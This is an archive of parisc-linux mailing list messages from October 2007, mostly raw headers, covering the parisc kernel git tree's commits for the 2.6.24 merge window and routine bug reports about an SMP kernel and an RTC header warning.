List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: caQidvITbUkpPenGPWgnWwRkZ2hlNwoS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24818

git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git
http://www.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git

Any last minute things for the 2.6.24 merge window? I'm still sitting on
a lot of development work I've been doing for the last 6 months. Will be
working on getting that merged for 2.6.25 now that things seem to mostly
work from release to release in Linus' tree.

Hooray, this is the first -rc1 cycle where I haven't had to do a
bisect-from-hell to figure out why all my machines won't boot.

[Note, I've given up on the quilt tree for now, because it ended up
being a bit more hassle than just keeping topic branches around.]

Cheers,
	Kyle

Adrian Bunk (1):
      [PARISC] parisc: "extern inline" -> "static inline"

Christoph Lameter (1):
      [PARISC] Use page allocator instead of slab allocator in pci-dma.c

Jeff Bailey (1):
      [PARISC] Export pdc.h for palo

Kyle McMartin (15):
      [PARISC] Wire up sys_fallocate (and compat_sys_fallocate)
      [PARISC] Clean up asm-parisc/pdc.h
      [PARISC] Update defconfigs
      [PARISC] import necessary bits of libgcc.a
      [PARISC] Kill pointless variable use in time.c
      [PARISC] Unbreak processor_probe when we have more than NR_CPUS
      [PARISC] Kill zone_to_nid printk warning
      [PARISC] Kill incorrect cast warning in unwinder
      [PARISC] Clean up a resource_size_t warning in sba_iommu
      [PARISC] Kill off the last vestiges of ASM_PAGE_SIZE
      [PARISC] Clean up pointless ASM_PAGE_SIZE_DIV use
      [PARISC] Remove hardcoded uses of PAGE_SIZE
      [PARISC] Kill off broken irqstack code
      [PARISC] Squelch pci_enable_device __must_check warning in superio
      [PARISC] Quiet sysfs_create_link __must_check warnings in pdc_stable

Sam Ravnborg (2):
      [PARISC] Beautify parisc vmlinux.lds.S
      [PARISC] Kill off ASM_PAGE_SIZE use

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's in parisc-2.6.git
Date: Thu, 18 Oct 2007 15:37:39 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200710181937.l9IJbeBL009388__25518.0641696372$1416624445$gmane$org@hiauly1.hia.nrc.ca>
References: <20071018082953.GB16148@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624445 25359 80.91.229.3 (22 Nov 2014 02:47:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:25 +0000 (UTC)
Cc: akpm@linux-foundation.org,
 parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 19:38:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 18 Oct 2007 21:38:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B76D7E6EF;
	Thu, 18 Oct 2007 13:38:10 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ydQAaVfntjtm; Thu, 18 Oct 2007 13:38:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C8047E6F0;
	Thu, 18 Oct 2007 13:37:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0B2F7E6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 13:37:55 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id G0K6mG3gftVj for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 13:37:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 514F57E6E6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 13:37:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca ([127.0.0.1])
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id l9IJbeRH009389;
	Thu, 18 Oct 2007 15:37:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id l9IJbeBL009388;
	Thu, 18 Oct 2007 15:37:40 -0400 (EDT)
In-Reply-To: <20071018082953.GB16148@fattire.cabal.ca> from "Kyle McMartin" at
	Oct 18, 2007 04:29:53 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: R9t1E2sNbXBsfrqHPTQ2UrMqLyUmZQjN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24819

Hi Kyle,

> [Note, I've given up on the quilt tree for now, because it ended up
> being a bit more hassle than just keeping topic branches around.]

Have you also given up on your patch tree?  Seems to have disappeared.

Yesterday, I applied your latest patch set to 2.6.23.1 and built
an SMP kernel.  I didn't test it much but there were weird errors
(e.g., postfix failed to start because it thought user postfix
and user nobody, and apt-get reported missing groups such as
Debian-exim).  This is all bogus and the errors don't occur with
2.6.22.9 + your getdents compat patch.  I still have this kernel
around.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's in parisc-2.6.git
Date: Thu, 18 Oct 2007 15:41:00 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20071018194100.GA11936__18019.1497588114$1416624445$gmane$org@fattire.cabal.ca>
References: <20071018082953.GB16148@fattire.cabal.ca>
	<200710181937.l9IJbeBL009388@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624445 25361 80.91.229.3 (22 Nov 2014 02:47:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 19:41:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 18 Oct 2007 21:41:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F2BE7E6F0;
	Thu, 18 Oct 2007 13:41:32 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id idQzRJdaQ+q2; Thu, 18 Oct 2007 13:41:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 973DC7E70A;
	Thu, 18 Oct 2007 13:41:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D35B7E6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 13:41:15 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id myygzxdQRc4g for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 13:41:01 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 393CF7E6E6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 13:41:01 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9D5BF5840C9;
	Thu, 18 Oct 2007 15:41:01 -0400 (EDT)
Original-Received: from fattire.cabal.ca (there.is.no.cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E3D105840CA;
	Thu, 18 Oct 2007 15:41:00 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 7C01523E02; Thu, 18 Oct 2007 15:41:00 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200710181937.l9IJbeBL009388@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: idJ/ChVMbHIzb63NNjQ0P6MqJihyatD+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24820

On Thu, Oct 18, 2007 at 03:37:39PM -0400, John David Anglin wrote:
> Hi Kyle,
> 
> > [Note, I've given up on the quilt tree for now, because it ended up
> > being a bit more hassle than just keeping topic branches around.]
> 
> Have you also given up on your patch tree?  Seems to have disappeared.
> 

Just temporarily. The workflow wasn't really working for me, and wasn't
motivating me to generate diffs. I'll be putting more -pa testkernels
up.

Now that I have some time again, I'll be fixing the autobuilder as well.

> Yesterday, I applied your latest patch set to 2.6.23.1 and built
> an SMP kernel.  I didn't test it much but there were weird errors
> (e.g., postfix failed to start because it thought user postfix
> and user nobody, and apt-get reported missing groups such as
> Debian-exim).  This is all bogus and the errors don't occur with
> 2.6.22.9 + your getdents compat patch.  I still have this kernel
> around.
> 

Er, really? This is bizarre, I'm running tip on all my machines without
problem (granted, in 64-bit mode.)

Can you upload the failing kernel somewhere, and I'll try to reproduce
it?

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's in parisc-2.6.git
Date: Thu, 18 Oct 2007 15:56:46 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200710181956.l9IJuk0M010166__19106.7834421576$1416624446$gmane$org@hiauly1.hia.nrc.ca>
References: <20071018194100.GA11936@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624446 25364 80.91.229.3 (22 Nov 2014 02:47:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 19:57:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 18 Oct 2007 21:57:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CCE177E828;
	Thu, 18 Oct 2007 13:57:19 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id o0gryM1hJGag; Thu, 18 Oct 2007 13:57:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58CA47E73A;
	Thu, 18 Oct 2007 13:57:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD85C7E70C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 13:57:03 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2LsIbiWBmWFm for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 13:56:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6B9737E70A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 13:56:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id l9IJulGP010167;
	Thu, 18 Oct 2007 15:56:52 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id l9IJuk0M010166;
	Thu, 18 Oct 2007 15:56:46 -0400 (EDT)
In-Reply-To: <20071018194100.GA11936@fattire.cabal.ca> from "Kyle McMartin" at
	Oct 18, 2007 03:41:00 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7M92I0VMa0ApbL6aejEzwJQ3Njh6dE6e
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24821

> Er, really? This is bizarre, I'm running tip on all my machines without
> problem (granted, in 64-bit mode.)
> 
> Can you upload the failing kernel somewhere, and I'll try to reproduce
> it?

It's in linux-2.6.23.1 in my home directory on gsyprf11.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's in parisc-2.6.git
Date: Fri, 19 Oct 2007 22:14:59 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200710200214.l9K2Ex5X001494__10837.4023148373$1416624446$gmane$org@hiauly1.hia.nrc.ca>
References: <20071018194100.GA11936@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624446 25369 80.91.229.3 (22 Nov 2014 02:47:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2007 02:15:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 20 Oct 2007 04:15:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B6C237E8FC;
	Fri, 19 Oct 2007 20:15:35 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UQs7nMXcNWJ3; Fri, 19 Oct 2007 20:15:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C73A07E8F6;
	Fri, 19 Oct 2007 20:15:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2F717E8F3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Oct 2007 20:15:16 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2LVgazUjG0IZ for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Oct 2007 20:15:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E79507E8EC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Oct 2007 20:15:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id l9K2F0qq001495;
	Fri, 19 Oct 2007 22:15:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id l9K2Ex5X001494;
	Fri, 19 Oct 2007 22:14:59 -0400 (EDT)
In-Reply-To: <20071018194100.GA11936@fattire.cabal.ca> from "Kyle McMartin" at
	Oct 18, 2007 03:41:00 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9VMsczUSTiEscKyUaGRwgmR1ZUVSRBeL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24822

> Just temporarily. The workflow wasn't really working for me, and wasn't
> motivating me to generate diffs. I'll be putting more -pa testkernels
> up.

Ok, I saw you made a lot of updates to parisc-2.6, so I cloned it
this evening.  Noticed a small warning/bug from asm-parisc/rtc.h.

The call to get_rtc_time in get_rtc_ss doesn't check the return
value from get_rtc_time for RTC_BATT_BAD.  As a result, h may
be used unininitialized.  I guess this only happens if the RTC
battery is bad...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc arch makefile clean-up needed [Was: cleaning
	up "make headers_install" for various architectures]
Date: Wed, 10 Oct 2007 20:42:25 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <20071010184225.GA2470__43975.6532818594$1416624446$gmane$org@uranus.ravnborg.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624446 25376 80.91.229.3 (22 Nov 2014 02:47:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Oct 2007 18:41:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 10 Oct 2007 20:41:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAD837E632;
	Wed, 10 Oct 2007 12:41:28 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id laK8qpTsnWZf; Wed, 10 Oct 2007 12:41:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDFE77E633;
	Wed, 10 Oct 2007 12:41:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7C647E631
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Oct 2007 12:41:10 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id J4-raU1JPkh8 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Oct 2007 12:40:58 -0600 (MDT)
Original-Received: from pasmtpB.tele.dk (pasmtpb.tele.dk [80.160.77.98])
	by free.linux.hp.com (Postfix) with ESMTP id A21897E591
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Oct 2007 12:40:58 -0600 (MDT)
Original-Received: from ravnborg.org (0x535d98d8.vgnxx8.adsl-dhcp.tele.dk
	[83.93.152.216])
	by pasmtpB.tele.dk (Postfix) with ESMTP id A3B82E30208
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Oct 2007 20:40:53 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 0DD12580D2; Wed, 10 Oct 2007 20:42:26 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4.2.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
